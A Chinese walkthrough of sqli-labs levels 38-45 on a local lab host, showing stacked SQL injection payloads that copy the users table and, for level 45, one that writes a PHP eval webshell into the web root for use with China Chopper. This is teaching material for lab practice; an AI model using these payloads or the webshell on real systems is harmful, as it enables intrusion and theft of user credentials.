less-38

前置基础知识:堆叠注入 参考链接:https://www.cnblogs.com/lcamry/p/5762905.html

实际上就是多条sql语句一起使用。

在38关源码中加入输出sql语句的代码:

第一种办法:其实直接可以使用联合查询爆出数据:

http://192.168.0.106:300/Less-38/?id=0'union select 1,2,3 --+

但是主要考的是堆叠注入,所以我们用二种办法:堆叠注入

http://192.168.0.106:300/Less-38/?id=1';create table hzk38 like users;insert into hzk38 select *from users; --+

可以发现,在数据库中已经新建了一个表,并且信息都是用户名密码。

注意:这里如果只有第一句sql语句,他新建的表里面是没有任何信息的,只是模仿了users表的结构

参考链接:https://blog.csdn.net/qi95719/article/details/60883148

less-39

id=1

一样的道理,只是闭合sql语句不同:http://192.168.0.106:300/Less-39/?id=1;create table hzk39 like users;insert into hzk39 select *from users; --+

less-40

id=(‘1’),并且错误不回显

一样的道理,只是闭合sql语句不同:http://192.168.0.106:300/Less-40/?id=1‘);create table hzk40 like users;insert into hzk40 select *from users; --+

less-41

id=1,并且错误不回显

一样的道理,只是闭合sql语句不同:http://192.168.0.106:300/Less-41/?id=1;create table hzk41 like users;insert into hzk41 select *from users; --+

less-42

这一关与之前的二次注入类似。但是这次用的是堆叠注入的方式。

观察源码:

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);

$password = $_POST["login_password"];

此时的sql为: "SELECT * FROM users WHERE username='$username' and password='$password'"

里面的password没有经过过滤,并且是单引号进行包裹,所以在这进行构造,注入之前可以现在浏览器把password的type改成明文格式方便观察:

a';create table hzk42 like users;insert into hzk42 select *from users; #

less-43

与42关基本一样。区别在:id=(’1‘)

password构造语句:a');create table hzk43 like users;insert into hzk43 select *from users; #

less-44

与42关基本一样。区别在:没有回显信息    id=’1‘

password构造语句:a';create table hzk44 like users;insert into hzk44 select *from users; #

less-45

与42关基本一样。区别在:没有回显信息  id=(’1‘)

password构造语句:a');create table hzk45 like users;insert into hzk45 select *from users; #

注意:如果你做这几关数据库乱了,可以直接在sqli-labs首页第一行重置数据库:

堆叠注入的另一种打开方式:(less38-45的第二种办法)

堆叠注入写入一句话木马:以45关为例

passqord注入语句:a’);select '<?php @eval($_POST[“hzk”]);?>' into outfile ‘C:\\PhpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-45\\mm.php’ #

然后用中国菜刀就能获得权限:

另外:

这几关的注入提示语句:哈哈哈

Sqli-Labs less38-45的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  6. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  7. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  8. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. PHP大文件分片上传的实现方法

    一.前言 在网站开发中,经常会有上传文件的需求,有的文件size太大直接上传,经常会导致上传过程中耗时太久,大量占用带宽资源,因此有了分片上传. 分片上传主要是前端将一个较大的文件分成等分的几片,标识 ...

  2. docker挂载数据卷

    1.Docker中的数据可以存储在类似于虚拟机磁盘的介质中,在Docker中称为数据卷,简单的理解就是将数据持久化的工具. 2.在使用docker容器的时候,会产生一系列的数据文件,这些数据文件在我们 ...

  3. python使用笔记26--多线程、多进程

    1.概念 线程.进程 进程是资源的集合,也就是一个程序 线程是一个程序运行的最小单位 线程是在进程里面的 默认,一个进程就只有一个线程 一个电脑有几核CPU就只能同时运行几个任务,比如4核CPU只能同 ...

  4. C语言:2.2.1-4

    #include <stdio.h> #define PI 3.1415926 //宏定义末尾没有分别.如果有则成为字符串的一部分 int main() { printf("显示 ...

  5. EXCEL:宏 考场考号打印

    Sub addwork() Rem 当前宏是根据学生数量 .每考场人数计算工作表数Dim i As IntegerRem xx为每个考场的人数Rem yy为当前专业标记Rem mm为当前专业考生人数R ...

  6. C语言:预处理 自定义头文件

    DEV-C++包含文件搜索路径C:\Program Files\Dev-Cpp\MinGW64\x86_64-w64-mingw32\includeC:\Program Files\Dev-Cpp\M ...

  7. SQL USE语句(选择数据库)

    对于大型的软件系统,会存在多个数据库,用来存储不同的数据,那么我们在开始操作之前,需要选择一个需要操作的数据库,进行后续数据的增.删.改.查工作. SQL USE语句用于选择SQL模式中的任何现有数据 ...

  8. 『与善仁』Appium基础 — 4、常用ADB命令(一)

    目录 1.启动和关闭ADB服务 2.查看ADB版本 3.指定adb server的网络端口 4.查询已连接设备/模拟器 5.获取安卓系统版本 6.为命令指定目标设备 7.发送文件到手机 8.从手机拉取 ...

  9. MySQL全面瓦解26:代码评审中的MySQL(团队使用)

    数据库对象命名规范 数据库对象 数据库对象是数据库的组成部分,常见的有以下几种: 表(Table ).索引(Index).视图(View).图表(Diagram).缺省值(Default).规则(Ru ...

  10. HTML5-CSS(四)

    一.CSS3 渐变效果 (1)CSS3 提供了 linear-gradient 属性实现背景颜色的渐变功能.首先,我们先看一下它的样式表,如下: //两个必须参数background-image: l ...